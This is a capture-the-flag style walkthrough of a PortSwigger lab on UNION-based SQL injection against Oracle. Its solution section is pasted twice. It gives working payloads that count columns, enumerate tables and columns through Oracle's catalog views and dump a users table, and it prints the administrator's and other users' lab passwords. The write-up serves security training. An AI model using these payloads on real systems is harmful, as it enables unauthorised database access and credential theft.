SQL injection attack,listing the database contents on Oracle

Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab SQL injection attack,listing the database contents on Oracle (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SQL_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Solution :

NOTE - On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

There is a built-in table on Oracle called dual which you can use for this purpose.

For example: UNION SELECT 'abc' FROM dual

Determine number of columns -

Order by 3 throws a error which means there are 2 columns.

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 3 --

Determine column with text data

Here we use the DUAL table which is by defaut present in ORACLE databse

Both columns have text data

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT 'abc','def' FROM DUAL--

Retreive data from ORACLE db -

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT table_name,NULL FROM all_tables--

We get a list of all the tables,

The table which we are interested in is this

Lab Description :

Solution :

NOTE - On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

There is a built-in table on Oracle called dual which you can use for this purpose.

For example: UNION SELECT 'abc' FROM dual

Determine number of columns -

Order by 3 throws a error which means there are 2 columns.

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 3 --

Determine column with text data

Here we use the DUAL table which is by defaut present in ORACLE databse

Both columns have text data

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT 'abc','def' FROM DUAL--

Retreive data from ORACLE db -

List all tables -

We can list all the tables by querying SELECT * FROM all_tables

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT table_name,NULL FROM all_tables--

We get a list of all the tables,

The table which we are interested in is this

List all columns -

We can list all the columns by querying SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_UHYHRO'--

Retreive admin's password

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT USERNAME_YNHYHK,PASSWORD_LFRJHB FROM USERS_UHYHRO--

administrator - eyjpiterylmsfcqq25ja wiener - tl4drtumhh8bgq4ndq4f carlos - z8ir2ghepg2rjjqgq3av

Now login as administrator,

Key Takeaways / Lessons

• Understanding SQL_injection detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection attack,listing the database contents on Oracle